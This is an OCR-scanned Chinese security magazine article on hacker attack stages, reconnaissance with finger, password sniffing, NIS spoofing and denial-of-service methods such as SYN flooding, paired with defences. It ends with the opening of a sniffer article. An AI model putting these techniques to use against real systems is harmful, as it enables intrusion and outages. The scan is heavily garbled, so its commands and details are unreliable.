攻击 者 在 登陆 目标 计算 机 主机 后 , 没有 进行 其 他

的 活动 , 只 是 运行 了 一 些 程序 , 也 许 这 些 程序 是 无 害

的 , 仅仅 是 消耗 了 系统 的 资源 和 处 理 器 的 时 间 。 但 是

有 很 多 的 程序 只 能 在 一 个 系统 下 运行 , 不 能 在 其 他 的

系统 中 运行 。 如 :一 些 扫描 程序 只 能 在 UNIX 下 运行 ,

那么 攻击 者 就 要 有 一 个 UNIX 工作 站 。 而 且 , 一 些 有

经 验 的 攻击 者 , 他 在 进行 攻击 的 时 候 , 往往 会 给 自己

找 个 中 间 的 “跳板 ” ,以免 暴 露 自己 。 即 使 被 发 现 , 也 只

是 能 够 追踪 到 中 间 的 跳板 ,而 和 自己 无 关 。

这 种 情况 对 主机 本 身 没 有 太 大 的 坏处 , 但 是 潜在

的 危害 是 存在 的 。 首 先 它 占用 了 CPU 的 时 间 资 源 , 当

攻击 者 运行 一 个 监听 的 程序 的 时 候 , 会 使 计算 机 主机

对 其 他 程序 的 响应 十 分 的 缓慢 。 而且 这 样 的 行为 他 可

以 转嫁 到 其 他 一 方 , 象 管理 员 的 责任 等 。

3. 获取 文件 和 数据

攻击 者 一 般 的 目标 都 是 系统 中 重要 的 数据 。 因此

攻击 者 只 要 能 够 顺利 地 登陆 到 目标 主机 上 的 话 , 那么

他 所 监听 得 到 的 信息 中 可 能 含有 重要 的 信息 。 很 可 能

是 用 户 的 口令 文件 。 由 于 口令 是 明文 方式 传送 的 ,所

以 ,只 要 攻击 者 得 到 口令 , 那么 他 就 可 以 访问 其 他 受

限制 访问 的 资源 , 从 而 所 造成 的 经 济 损失 是 不 能 估计

的 。

拒绝 服务

同上 面 的 几 种 行为 来 比较 的 话 , 这 样 的 拒绝 服务

攻击 , 就 是 一 种 破坏 的 行为 。 拒 绝 服务 攻击 有 很 多 种

类 型 , 象 关 掉 计 算 机 主机 电源 、 拔 掉 网 线 、 向 服务 器 发

送 大量 无 用 信息 、 制 造 网 络 风暴 、 占 据 网 络 带 宽 等 等

手段 , 这 些 都 是 拒绝 服务 攻击 , 我 们 将 在 后 面 的 章节

中 详细 介绍 这 种 攻击 。

攻击 的 三 个 阶段

黑客 在 网 络 上 经 常 采用 的 手段 有 :

x 利用 UNIX 系统 提供 的 缺 省 帐户 进行 攻击 : 许

多 主机 都 用 fp 和 guest 等 帐户 ,有 的 帐户 甚至 没有 口

令 。 黑 客 用 UNIX 系统 提供 的 命令 如 finger 和 ruser 等

收集 信息 ,不 断 提高 自己 的 攻击 能 力 。

x 截取 口令 方法 : 通过 网 络 监听 或 记录 用 户 的

击 键 得 到 用 户 的 口令 。

* 寻找 系统 漏洞 : 许多 系统 都 有 这 样 那样 的 安

全 漏洞 ,其 中 某 些 是 操作 系统 本 身 的 ,如 sendmail 的

漏洞 ; 而 有 些 是 管理 员 配 置 错误 引起 的 , 如 在 网 络 文

件 系统 中 ,将 目录 和 文件 以 可 写 的 方式 调 出 。

* 强力 郊 人 : 可 以 采用 物理 访问 的 方法 , 如 在 控

制 台 用 boot -s 命令 ,也 可 以 无 数 次 地 猜 口 令 。

x 偷 取 特 权 : 使 用 木马 程序 或 者 缓冲 区 溢出 程

序 都 有 可 能 得 到 系统 权限 。

* 使 用 一 个 节点 作为 根据 地 , 攻击 其 他 节点 : 可

以 使 用 网 络 监听 的 方法 , 也 可 以 利用 主机 信任 关系 ,

在 突破 一 台 主 机 后 , 尝试 攻破 同一 网 络 内 的 其 他 的 主

机 。

* 清理 磁盘 : 在 一 些 删除 的 文件 , 回收 站 内 的 文

件 或 者 是 临时 目录 内 的 文件 中 , 往 往 含 有 重要 的 信

息 , 黑 客 可 以 清理 这 些 文件 ,找到 有 用 的 信息 。

这 些 手段 又 是 怎么 样 实现 的 呢 ?我 们 先 看 黑客 攻

击 的 三 个 阶段 :

1. 寻找 目标 ,收集 信息 。

选 定 攻击 目标 一 一 即 对 准备 进攻 的 系统 , 通常 是

从 已 攻 入 系统 的 . rhosts 和 . netre 文件 所 列 的 主机 中

挑选 出 来 , 从 系统 的 /ete/hosts 文件 中 可 以 得 到 一 个

很 全 的 主机 列表 。 但 大 多 数 情况 下 , 选 定 攻击 目标 是

一 个 比较 盲目 的 过 程 , 除非 攻击 者 有 明确 的 目的 和 动

机 。 攻 击 者 也 可 能 找到 DNS 表 , 通 过 DNS 可 以 知道 机

器 名 、Itemet 地 址 、 机 器 类 型 , 甚至 还 可 以 知道 机 器

的 属 主 和 单位 。 攻 击 目 标 还 可 能 来 自 偶然 看 到 的 一 个

调制 解 调 的 号 码 ,和 贴 在 旁边 的 机 器 使 用 者 的 名 字 。

2. 获得 初始 的 访问 权 与 特权

攻击 者 需要 伪造 访问 目标 的 也, 以 彤 充 系 统 的

正式 用 户 。 系 统 对 用 户 的 认证 是 靠 用户 名 和 口令 进行

的 ,攻击 者 最 喜欢 用 众所周知 的 用 户 名 进行 攻击 。

许多 情况 下 , 这 些 名 字 由 姓 和 名 字 的 首 字符 构

成 ,即使 用 户 名 没有 这 么 明显 ,也 很 容易 通过 finger 和

ruser 获得 。

Finger 命令 不 但 能 测试 目标 主机 是 否 连 通 ,, 往往

还 能 告诉 攻击 者 许多 有 用 的 信息 ,例如 ,

liwrml@ safeunion $ finger @ taget. host

于 是 可 以 得 到 类 似 如 下 文 所 示 的 信息 :

[ 炎 火 炎 . 炎 炎 火 . 炎 火 火 .火炎 火 ]

Login Name TITY Idle

When Where

jiwrml Distiributed Shared M

console 28 tae

12: 19 another. host

注 , 火 兴 兴 .火炎 兴 . 炎 火炎 炎炎 类

target. host 的 下 地 址 。

而 口令 就 不 容易 获得 了 , 特别 是 用 户口 令 通 常 为

8 个 字符 , 又 不 是 字典 中 的 词 , 其 组 合 有 非常 多 的 可

能 性 。 攻 击 者 若 使 用 口令 获得 工具 , 也 相当 费时 而 且

不 能 保证 有 效 , 至 少 他 需要 足够 的 时 间 和 了 耐心。 对 NT

和 一 些 只 要 系统 来 讲 , 系 统 在 3 - 5 次 试 口令 失败 的

情况 下 会 断 掉 连接 。 这 就 是 为 什么 攻击 者 总 是 依赖 网

络 服务 , 如 NIS、RLOGINZRSH 与 NFS 等 来 攻击 系统

的 原因 。

现在 许多 软件 中 发 现 了 一 类 缓冲 区 溢出 的 错

误 。 在 UNK 系统 中 ,利用 一 些 SUID root 程序 的 这 种

错误 编写 的 程序 可 以 帮助 攻击 者 轻易 地 获得 系统 权

限 。

3. 攻击 其 他 的 系统 。 |

攻击 一 个 系统 得 手 后, 攻击 者 往往 不 会 就 此 罢

体 。 他 会 在 系统 中 寻找 相关 的 主机 可 用 信息 , 继续 进

行 攻击 。 攻 击 的 方法 很 多 , 比较 通用 的 是 装 一 个 监听

的 程序 ,这样 几 乎 可 以 掌握 整个 网 络 。

为 主机

攻击 的 时 间

在 Internet 网 络 上 攻击 的 时 间 是 能 完全 肯定 的 。

因为 大 多 数 的 计算 机 主机 都 24 小 时 和 Intemet 相连 ,

这 就 意味 着 攻击 是 任何 时 间 。 但 是 一 些 有 经 验 的 攻击

者 ,他 可 能 会 有 下 列 的 规律 。

从 过 去 统计 的 数字 来 看 ,一 般 出 现 攻击 都 是 在 冬

天 。 好 像 原 因 在 于 冬天 因为 冷 ,没有 地 方 去 造成 的 。

就 每 天 所 发 生 的 攻击 来 看 , 大 部 分 的 攻击 时 间 是

在 夜间 。 因 为 攻击 者 认为 在 白天 攻击 的 话 , 容易 被 管

理 员 发 现 自己 的 行踪 。 所 以 攻击 者 就 利用 夜间 人 们 都

休息 的 时 间 ,进行 攻击 。 不 在 白天 攻击 的 原因 有 :

1. 客观 的 原因 是 , 在 白天 大 部 分 的 攻击 者 要 上

学 或 者 工作 。 以 至 他 们 没有 太 多 的 时 间 来 做 这 样 的 事

情 。 换 名 话说, 他们 不 能 整 天 坐 在 计算 机 面前 。

2. 现在 的 网 络 是 越 来 越 慢 , 相对 来 说 , 在 夜间 的

网 络 速度 会 比 白天 快 得 多 。 所 以 , 这 样 就 给 攻击 者 创

造 了 进行 攻击 的 好 机 会 。 但 是 , 这 样 的 说 法 是 相对 于

同一 个 时 区 来 说 的 ,如 :攻击 国内 的 计算 机 主机 ,大 概

的 时 间 是 在 丐 晨 3 一 6 点 , 而 这 个 时 间 人 们 大 部 分 都

在 休息 。 另 一 个 例子 , 如 果 在 国内 想 攻击 美国 的 一 台

计算 机 , 那 么 就 要 选择 与 美国 的 时 间 相 反 的 那个 时

候 。 因 为 在 中 国 的 夜间 ,在 美国 正 是 网 络 高 峰 期 ,人 们 .

大 部 分 都 在 网 络 上 浏览 、 收 发 电子 邮件 等 。 所 以 这 样

会 给 攻击 带 来 很 多 的 不 方便 。

拒绝 服务

攻击 的 概念

拒绝 服务 攻击 是 指 一 个 用 户 占据 大 量 的 共享 资

源 , 使 系统 没有 其 他 的 资源 来 给 其 他 的 用 户 可 用 的 攻

击 。 拒 绝 服务 降低 了 资源 的 可 用 性 , 这 里 资源 指 的 是

处 理 器 的 时 间 、 磁 盘 的 空间 、 打 印 机 和 调制 解 调 器 ,其

至 涉及 到 系统 管理 员 的 时 间 。 攻 击 的 结果 是 停止 和 失

去 服务 。

UNIX 系统 中 , 只 有 很 少 的 保护 措施 ,来 防止 和 抵

抗 很 少 或 者 偶然 的 攻击 。 大 多 数 的 UNIX 版 本 都 允许

管理 员 设 置 用 户 最 多 打开 的 进程 数 。 但 是 , 这 样 的 情

况 ,, 和 其 他 的 系统 来 比较 的 话 , 防 御 手 段 都 是 很 原始

的 。 一 般 有 两 种 类 型 的 拒绝 服务 攻击 。

第 一 种 是 攻击 试图 去 破坏 或 毁坏 资源 , 使 别人 也 |

无 法 使 用 这 个 资源 。 如 :删除 文件 、 格 式 化 硬盘 、 切 断

电源 等 , 这 样 的 行为 都 是 实现 拒绝 攻击 。 在 前 面 我 们

已 经 举 了 简单 的 例子 。 其 实 , 几乎 所 有 的 攻击 都 可 以

限制 关键 用 户 和 文件 并 保护 他 们 不 受 其 他 的 用 户 所

访问 。 如 果 采 用 的 系统 安全 策略 好 的 话 , 也 可 以 防止

拒绝 服务 攻击 。

第 二 种 是 过 载 一些 系 统 服务 或 消耗 一 些 系统 的

资源 , 但 这 样 的 行为 也 许 是 攻击 者 故意 造成 的 , 也 可

能 是 某 个 用 户 无 意 造成 的 错误 所 导致 的 。 通 过 这 样 的

方式 来 阻止 其 他 的 用 户 使 用 这 些 服务 。 用 一 个 比较 简

单 的 例子 来 说 ,一 个 用 户 用 完了 一 个 磁盘 的 分 区 , 使 :

得 别 的 用 户 就 无 法 再 生成 新 的 文件 来 储存 。 还 有 像 一

个 典型 的 情况 是 程序 出 错 , 在 递归 的 条 件 中 , 本 来 是

要 用 xl =0 结 果 写 成 了 x= =0。

在 过 载 攻击 中 , 一 个 共享 的 资源 或 服务 器 由 于 需

要 处 理 大 量 的 请 求 , 以 至 无 法 满足 其 他 用 户 来 到 的 请

求 。 如 :一 个 用 户 打 开 了 大 量 的 进程 ,那么 其 他 的 用 户

就 不 能 运行 自己 的 进程 。 一 个 用 户 用 完了 所 有 的 空

闻 , 那么 别 的 用 户 就 不 能 生成 新 的 文件 。 那 么 这 样 的

情况 下 ,可 以 有 效 地 采用 系统 管理 , 只 分 配给 用 户 属

于 他 上 自己 的 那 部 分 资源 。 另 外 , 系统 检测 过 载 自动 重

新 局 动 也 是 一 个 不 错 的 手段 。

进程 过 载 的 问题 所 在

最 简单 的 拒绝 服务 攻击 就 是 进程 攻击 。 在 攻击 过

程 中 , 一 个 用 户 可 以 阻止 在 同一 个 时 间 内 另 一 个 用 户

使 用 计算 机 。 进 程 攻击 通常 是 发 生 在 共享 的 计算 机

中 , 如果 没有 人 和 自己 抢夺 的 话 ,也 没有 必要 使 用 这

样 的 攻击 方法 。

这 样 的 攻击 对 现在 的 UNIX 系统 没有 多 大 的 效

果 。 因 为 现在 的 UNIX 系统 限制 任何 UID 使 用 的 进程

数目 , 但 0( 也 就 是 root) 除外 。 这 个 限制 就 叫做

MAXUPROC, 当 系 统 重新 做 的 时 候 , 在 进行 对 内 核 设

置 的 时 候 , 一 些 系统 允许 在 启动 的 时 候 来 设置 这 个

值 。

进行 这 样 攻击 的 用 户 消 耗 的 是 他 自己 的 进程 数

目 ,而 不 是 别人 的 。 一 个 超级 用 户 可 以 使 用 PS 命令 查

看 所 有 的 进程 数目 。 他 可 以 使 用 KILL 来 杀 掉 那些 没

有 用 的 进程 。 也 可 以 杀 掉 进程 组 。

不 过 ,现在 的 UNIX 系统 中 , 一 个 超级 用 户 仍然

可 以 用 进程 攻击 使 系统 死机 。 这 是 因为 系统 对 root 的

打开 进程 数 没有 限制 。 但 是 ,这 样 的 情况 是 很 少 的 ,也

许 是 执行 某 个 程序 造成 的 死机 。 换 名 话说, 就 是 当 达

到 这 个 值 的 时 候 系 统 就 会 过 载 。 当 系统 过 载 之 后 , 其

他 的 人 就 得 不 到 任何 进程 ,哪怕 是 登陆 。

现在 的 UNIX 系统 中 , 还 有 一 些 情况 会 使 系统 过

载 。 比 如 :设置 的 问题 。 一 个 用 户 使 用 的 进程 数 已 经 等

于 或 大 于 系统 的 设置 允许 执行 最 大 进程 。 还 有 , 一 个

用 户 所 打开 的 进程 没有 达到 最 大 进程 数 。 但 是 , 由 于

用 户 太 多 ,以 至 系统 过 载 。

如 果 遇 到 系统 过 载 的 时 候 , 会 被 迫 重新 启动 。 但

是 这 样 做 的 后 果 是 使 计算 机 磁盘 损坏 。 因 为 系统 还 没

有 来 得 及 刷新 。 最 好 的 办 法 是 先 杀 掉 一 些 进程 , 然后 ,

进入 单 用 户 模式 。

其 实 , 也 可 以 向 init 进程 发 送 一 个 信号 , 一 个

SIGTERM 的 信号 。UNIX 会 自动 杀 掉 所 有 的 进程 , 然

后 进入 单 用 户 模式 , 利用 syne 的 命令 , 使 计算 机 强行

将 文件 写 人 磁盘 。 最 后 再 重新 启动 计算 机 系统 。

另 一 种 流行 的 进程 攻击 是 一 个 用 户 产 生 了 许多

消耗 CPU 处 理 时 间 的 进程 .如 :他 运行 了 10 个 find 命

令 , 并 用 grep 命令 在 一 些 目录 里 面 找 文件 , 这 样 都 可

以 使 系统 运行 得 象 蜗 牛 一 样 慢 。 其 实 , 预防 的 方法 是

合理 地 教育 用 户 能 够 好 好 地 共享 使 用 系统 。 让 用 户 使

用 mice 命令 ,降低 后 台 运 行程 序 的 优先 级 。 另 外 也 可

以 利用 at 命令 , 将 一 些 比 较 麻烦 的 进程 安排 到 不 忙

的 时 候 去 执行 。

磁盘 和 交换 空间 的 问题

这 种 攻击 的 方式 是 填 满 磁盘 的 空间 。 如 果 一 个 用

户 向 磁盘 填充 了 大 量 的 文件 , 其 他 的 用 户 就 不 能 够 生

成 新 的 文件 来 做 事情 。

Du 命令 可 以 发 现 系统 中 珊 盘 分 区 空间 的 使 用 情

况 。 这 个 命令 可 以 查找 目录 ,一 共用 了 多 少 块 。 也 可 以

_ 利用 find 命令 列 出 那些 大 文件 的 文件 名 字 。 也 可 以 加

参数 - size 来 查看 超出 一 定 值 的 文件 。

Unix 文件 系统 是 使 用 inode 来 存放 文件 信息 的 。

一 个 可 以 使 磁盘 不 能 使 用 的 途径 是 消耗 所 有 磁盘 上

的 空闲 inode, 使 他 不 能 生成 新 的 文件 。 一 个 用 户 可 能

生成 了 上 千 个 空 文件 。 这 是 个 很 头疼 的 问题 , 因为 d

提示 有 很 多 可 用 空间 。 但 是 当 在 生成 新 文件 的 时 候 会

出 现 一 个 没有 空间 的 错误 提示 。 这 个 时 候 可 以 用 二

- 工 来 查看 所 有 空闲 的 inode。

通常 , 解决 这 样 攻 击 的 方法 是 把 磁盘 进行 小 的 分

区 , 一 个 用 户 占 有 一 个 分 区 , 这 样 即使 把 磁盘 填充 满

了 , 也 不 影响 其 他 的 用 户 。 另 一 个 有 效 的 方法 是 通过

磁盘 分 配 系 统 , 每 一 个 用 户 可 以 确定 有 多 少 inode 可

用 ,就 有 多 少 磁盘 空间 可 用 。

关于 交换 空间 的 问题 , 在 多 数 的 UNIX 系统 中 都

被 设置 为 使 用 一 些 磁盘 空间 , 以 便当 进程 被 换 页 或 者

说 被 交换 出 内 存 的 时 候 , 来 容纳 那些 进程 的 映 象 。 如

果 系 统 没 有 设置 足够 的 交换 空间 的 话 , 新 的 进程 , 特

别 是 那些 比较 大 的 进程 将 不 会 运行 。 执 行 命令 的 时

候 ,会 给 出 “No space” 的 错误 提示 。

如 果 当 进程 偶然 填 满 了 可 用 的 交换 空间 的 话 , 可

增加 新 的 空间 来 纠正 这 样 的 错误 。 在 SVR4 和 Sun0S

系统 中 ,这 样 的 增加 过 程 都 是 非常 简单 的 。 但 是 ,这 样

做 的 代价 是 必须 放弃 一 些 用 户 的 可 用 空间 。 我 们 来 举

个 例子 以 便 更 详细 地 说 明 。

首先 ,要 寻找 一 个 还 有 空间 的 分 区 :

[liwrml@ safeunion /root]# /bin/df -jltk

File system kbytes used avail

capacity ”Mounted on

/dev/dskvcot3d0s0 933359 80289

8505 91950 。

/dev/vdskvcot2d0s0 1964982

1048379 ”720113 59% /user3

/dev/dsk/c0t2d0s6 1446222

1139087 2390 /user4

[liwrml@ safeunion /root ]#

在 这 个 例子 中 , 分 区 /user4 显然 是 有 大 量 的 空闲

空间 可 以 利用 。 在 Solaris 系统 中 ,使 用 下 面 的 命令 ,可

以 生成 50M 的 交换 空间 。

[liwrml@ safeunion /root] # mkfile S0m /user4/

这 je

162315

[liwrml@ safeunion /root]j# swap 一 a /user4/ jale

在 Sun0S 系统 中 是 下 面 这 样 的 。

fliwrml@ safeunion /root] # mkfile S0m /user47/

运 le

[liwrml@ safeunion /root]# swapon/usr/ 过 le

如 果 想 使 用 这 个 交换 空间 , 在 重新 启动 的 时 候 可

以 使 用 , 可 以 将 这 个 空间 的 信息 加 到 vfstab 文件 中 。

和 否则, 除去 交换 设备 文件 的 序号 , 然 后 删除 这 个 文

件 。

临时 目录 文件 空间 的 问题

很 多 UNIX 系统 被 配置 为 可 以 在 一 个 临时 目录

中 生成 任意 大 小 的 文件 。 这 个 目录 就 是 /tmp。 在 正常

情况 下 ,系统 对 这 个 目录 没有 分 配 大 小 的 检查 。 于 是 ,

要 是 一 个 用 户 填 满 /tmp 所 在 的 分 区 的 话 , 导 致 其 他

的 用 户 不 能 再 生成 新 的 文件 。

而 现在 的 系统 中 , 许 多 的 程序 都 要 求 在 /tmp 存

放 文 件 。 象 vi 和 mail 程序 都 将 临时 的 文件 放 到 /tmp

中 。 如 果 他 们 不 生成 临时 文件 的 话 , 这 样 的 程序 运行

会 失败 。 不 过 发 生 这 样 错 误 的 情况 是 很 偶然 的 , 也许 -

是 某 个 用 户 将 一 个 很 大 的 文件 放 在 那里 , 忘 了 删除 ,

结果 造成 错误 的 发 生 。

有 许多 的 方法 来 解决 这 个 问题 。

x 对 临时 目录 采用 quota 检查 , 以 避免 一 个 用 户

将 他 填 满 。 一 个 quota 只 人 允许 使 用 40% 的 临时 空间 。

x* 使 用 一 个 进程 , 来 监视 临时 目录 的 使 用 情况 ,

如 果 快 满 了 ,将 及 时 提醒 管理 员 。

x* 用 超级 用 户 可 以 定期 地 清除 临时 目录 的 文

件 。

[liwrml@ 0 /root]# find /tmp - mtime 十

5 =Pprint| xargs rm 一 过

将 这 一 行 加 到 crontab 中 ,在 夜间 执行 。

针对 网 络 的 拒绝 服务 攻击 以 及 解决 方法

网 络 对 拒绝 服务 攻击 的 抵抗 力 是 有 限 的 , 攻击 者

将 阻止 其 他 的 用 户 来 使 用 网 络 和 服务 。 而 象 这 样 的 网

络 拒绝 服务 攻击 有 4 种 攻击 类 型 。 他 们 分 别 是 : 消息

流 、 服 务 过 载 “ 粘 住 " 和 SYN - 了 ooding。 我 们 来 分 析

一 下 这 些 攻击 类 型 。

消息 流

这 样 的 情况 发 生 于 用 户 向 一 台 网 络 上 的 目标 主

机 发 送 大量 的 数据 包 , 来 延缓 目标 主机 处 理 其 它 数据

的 速度 , 阻止 计算 机 处 理 其 它 的 数据 。 而 这 样 的 方式

所 发 送 的 数据 ,可 能 是 请 求 文件 服务 , 也 可 能 是 要 求

登陆 或 简单 的 ping。 无 论 用 什么 形式 , 这 些 象 洪 水 一

般 的 数据 , 加 重 了 处 理 器 的 负荷 , 使 计算 机 主机 浪费

很 多 的 资源 来 处 理 。 象 这 样 的 攻击 , 结果 最 终 使 计算

机 主机 负荷 越 来 越 大 , 导致 当 机 。 这 样 的 拒绝 服务 攻

击 ,一 般 主 要 针对 的 是 网 络 服务 器 。

由 于 处 理 器 用 很 多 的 资源 来 处 理 如 此 大 量 的 请

求 , 使 服务 器 暂时 无 法 响应 其 他 的 网 络 请 求 。 攻 击 者

就 利用 这 个 时 候 , 用 编写 的 程序 , 来 回答 那些 本 来 应

该 由 服务 器 回答 的 请 求 。 假 设 攻击 者 已 经 写 了 一 个 程

序 , 通 过 每 秒 发 送 数 千 个 echo 请 求 到 目标 主机 计算

机 的 echo 服务 ,来 炸 一 个 NIS 服务 器 。 同 时 ,攻击 者 来

实验 登陆 一 个 工作 站 的 超级 用 户 。 在 这 个 时 候 , 如 果

是 真 的 NIS 服务 器 的 话 , 他 就 会 询问 NIS 口令 。 而 现

在 服务 器 正在 被 攻击 , 不 能 迅速 的 反应 这 个 请 求 。 在

这 个 时 候 , 攻 击 者 的 计算 机 就 可 以 来 伪装 成 服务 器 ,

说 没有 口令 。 在 正常 的 情况 下 , 真 的 服务 器 会 注意 这

个 错误 的 包 ,指出 这 个 包 是 错误 的 。 但 是 ,现在 服务 器

负荷 相当 大 ,不 能 做 出 响应 。 于 是 ,那个 发 出 请 求 的 客

户 计算 机 便 相信 这 个 回答 是 正确 的 , 按照 这 个 错误 的

回答 ,处理 攻击 者 的 登陆 请 求 , 这 样 一 来 ,不 用 口令 就

进入 了 NIS 工作 站 。

一 个 简单 的 攻击 类 型 是 “广播 风暴 ”。 攻 击 者 可 以

生成 这 样 一 个 消息 , 他 指示 每 个 主机 收 到 这 个 消息

后 ,再 重新 发 ,结果 使 网 络 饱和 ,不 能 使 用 。 而 这 样 的

攻击 很 少 是 故意 所 为 。 通 常 是 由 软件 或 硬件 安装 不 当

造成 的 。

在 这 种 情况 下 , 当 网 络 上 的 主机 计算 机 设置 为 将

错误 写 人 日 志 的 时 候 , 他 就 会 忙 着 将 这 些 错 误 写 人 日

志 , 从 而 没有 时 间 来 响应 其 他 的 请 求 , 无 法 处 理 其 他

的 任务 。 其 实 , 这 个 解决 方法 是 用 一 个 监视 器 ,将 网 络

分 成 小 的 子 网 。 就 可 以 有 效 防止 这 种 情况 的 发 生 。

服务 过 载

在 一 台 有 进程 守护 程序 的 计算 机 主机 中 , 当 大 量

的 请 求 发 向 这 人 台 计 算 机 的 时 候 , 就 会 发 生 服 务 过 载 。

而 这 样 的 请 求 有 很 多 的 形式 , 但 大 多 数 都 是 故意 的 。

大 量 的 请 求 使 计算 机 无 法 来 处 理 其 他 的 任务 , 同时 新

的 任务 和 请 求 他 也 无 法 接受 。 如 果 攻 击 的 是 一 个 基于

TCP 协议 的 服务 , 那 么 这 些 请 求 的 包 还 会 被 重新 发 ,

结果 加 重 了 网 络 的 负担 。 这 样 的 攻击 也 许 是 攻击 者 想

掩盖 自己 的 行踪 ,使 得 系统 无 法 写 人 日 志 。 而 且 会 阻

止 系统 提供 的 一 种 特定 的 服务 。

通常 来 说 , 管理 员 可 以 使 用 一 个 网 络 监视 工具 来

发 现 这 种 类 型 的 攻击 , 甚至 发 现 攻击 的 来 源 。 如 果 有

一 个 主机 列表 和 网 络 地 址 表 的 话 , 若 攻击 发 生 在 本 地

网 , 就 可 以 帮助 管理 员 来 发 现 问题 的 所 在 。 利 用 防火

墙 和 路 由 器 也 可 以 发 现 和 追踪 攻击 的 来 源 。 但 是 ,从

现在 看 来 , 无论 是 管理 员 还 是 用 户 , 对 使 用 的 协议 和

服务 守护 进程 所 能 做 的 事情 都 是 非常 有 限 的 。 我 们 目

前 所 能 做 的 是 限制 他 可 能 带 来 的 危害 。 比 如 : 把 网 络

分 成 几 个 小 的 子 网 , 这 样 当 一 个 子 网 被 攻击 的 时 候 ,

不 影响 别 的 子 网 。

慷 一 个 措施 是 , 在 攻击 前 就 采取 有 效 的 行动 。 可

以 把 一 个 网 络 监视 器 放 到 网 络 安全 的 地 方 。 这 样 的 方

式 能 够 监视 和 分 析 网 络 内 流动 的 数据 。 一 且 发 生 过

载 , 便 能 够 及 时 发 现 ,减少 攻击 的 危害 。

“外 佳 " 攻 击

在 许多 UNIX 系统 中 的 TCP/ 了 正 实现 程序 , 存 在

着 很 多 被 滥用 的 可 能 。 攻 击 的 时 候 , 可 以 使 用 TCP 的

半 连 接 消耗 资源 。TCP 连接 通过 三 次 握手 来 建立 一 个

连接 与 设置 参数 。 如 果 攻 击 者 发 送 多 个 请 求 的 话 , 初

步 建 立 了 连接 , 但 又 没有 完成 其 后 的 连接 步骤。 这 样

就 占用 着 无 限 的 资源 。 一 般 情 况 下 , 发 送 这 样 连接 的

下 地 址 是 伪造 的 , 所 以 无 法 追踪 来 源 , 唯 一 可 以 做 的

事情 就 是 等 …… 等 这 个 连接 因 超 时 而 被 释放 。 这 种 情

况 可 以 拿 这样 一 个 例子 来 说 明 : 一 个 搞 恶 作 剧 的 小 孩

子 , 他 到 了 人 家 的 门 前 按 了 铃 就 跑 了 ,而 里 面 的 人 就

出 来 开门 ,发现 没有 人 …… 面 将 门 关上 后 , 小 孩子 又

去 按 …… 这 样 一 来 , 在 这 个 时 间 里 , 里 面 的 人 一 直 在

开门 ,而 时 间 就 浪费 了 ,无 法 做 其 他 的 事情 。 在 这 种 情

况 下 , 用 户 可 以 做 的 事情 是 非常 有 限 的 。 就 算 现在 的

防火 墙 也 没有 重视 这 个 问题 。 最 后 的 方法 是 拒绝 那些

防火 墙 外 面 的 未 知 主机 或 网 络 连接 的 请 求 。 但 是 这 样

看 来 ,任何 固定 的 限制 都 是 不 适合 的 。

SYN -Ilooding 攻击

在 这 种 攻击 中 , 使 用 一 个 伪装 的 瑟 地 址 向 目标

计算 机 主机 发 送 网 络 请 求 叫 SYN。 而 这 种 其 骗 的 手段

就 是 现在 流行 的 下 坎 骗 技术 。 黑 客 尽 可 能 地 发 送 这

样 的 请 求 ,以 便 占用 目标 计算 机 主机 更 多 的 资源 。

当 计 算 机 主机 收 到 这 样 的 请 求 后 , 就 会 使 用 一 些

资源 来 为 新 的 连接 提供 服务 , 然后 回复 一 个 肯定 的 信

息 , 这 个 叫做 SYN - ACK。 但 是 由 于 这 个 回复 的 是 假

的 耳 地 址 ,所 以 没有 响应 。 于 是 , 计算 机 主机 会 继续

发 送 SYN -ACK。

一 些 系统 都 有 回复 的 次 数 和 超时 (下 转 第 47 页 )

(上 接 第 56 页 ) 的 时 间 , 只 有 回复 一 定 的 次 数 , 或 超

时 的 时 候 , 被 占用 的 资源 才能 释放 。 在 WindowsNT 中 ,

这 样 回复 的 缺 省 值 是 重复 发 送 答复 5 次 。 而 且 每 一 次

发 送 的 时 间 都 会 翻 一 鼻 , 第 一 次 等 待 的 时 间 是 3 秒 ,

当 第 5 次 的 时 候 就 会 达到 等 待 48 秒 , 才 能 有 响应 。 如

果 还 没有 响应 的 话 , 系统 要 再 等 待 96 秒 , 才能 将 占用

的 资源 释放 出 来 。 而 ,在 这 个 时 间 内 ,计算 机 一 共 等 待

了 190 秘 。

但 是 , 从 攻击 手段 的 性 质 上 来 看 , 黑 客 是 无 法 取

得 系统 的 任何 访问 权限 。 但 是 对 于 大 多 数 的 TCP7 耿

协议 , 处 于 SYN -RECEIVED 状态 的 连接 数量 是 非常

有 限 的 。 当 达到 极限 的 时 候 , 目标 计算 机 主机 通常 做

出 反应 ,重新 设置 所 有 的 额外 对 外 连接 请 求 , 直到 占

用 的 资源 被 释放 。

对 于 SYN -Hiooding 攻击 的 解决 方法

这 样 的 攻击 在 Microsoft 公司 已 经 认识 到 了 , 如

果 用 户 使 用 的 是 NT4.0, 那 么 只 要 获得 了 Server

Pack2 就 可 以 了 。 为 了 获得 最 大 的 安全 性 , 其 实用 户

只 要 启动 应 用 和 服务 所 必须 的 特定 端口 。 特 别 是 不

要 启动 低 于 900 的 任何 UDP 端口 , 除 非 有 些 端口 提

供需 要 的 具体 服务 , 象 FTP。 也 不 要 启动 支持 UDP

协议 的 echo 端口 和 chargen 端口 。 这 些 端口 是 很 少

用 的 , 但 是 都 成 了 SYN - 了 ooding 攻击 的 主要 对 象 和

目标。 ”多

SERIES

FEINTITCOR

小 编 寄 语 : 电话 窃听 器 这 种 东 东 想必 大 家 都 有 所 了 解 吧 , 可 是 你 知 不 知 到 ,

在 网 络 上 也 有 类 似 的 装置 呢 ,, 这 种 装置 就 是 “ 嗅 探 器 ”, 其 实 DfArTisT 也 仅 是 对

“ 噢 探 器 ”有 所 耳闻 ,本 来 不 敢 出 来 献 丑 , 但 现在 有 皮球 兄 作 靠山 , 自 然 不 一 样

了 。 这 不 ,为 大 家 带 来 了 皮球 兄 的 一 篇 关于 嗅 探 和 返 嗅 探 技术 的 文章 。

嗅 探 嚣 的 基础 知识

1. 什么 是 嗅 探 器 ?

嗅 探 器 的 英文 名 称 是 Snift, 可 以 理解 为 一 个 安装

在 计算 机 上 的 窃听 设备 , 它 可 以 用 来 窃听 计算 机 在 网

络 上 所 产生 的 众多 的 信息 。 简 单一 点 解释 : 一 部 电话

的 窃听 装置 , 可 以 用 来 窃听 双方 通话 的 内 容 。 而 计算

机 网 络 嗅 探 器 则 可 以 窃听 计算 机 程序 在 网 络 上 发 送

和 接收 到 的 数据 。

可 是 , 计算 机 直接 传送 的 数据 ,事实 上 是 大 量 的

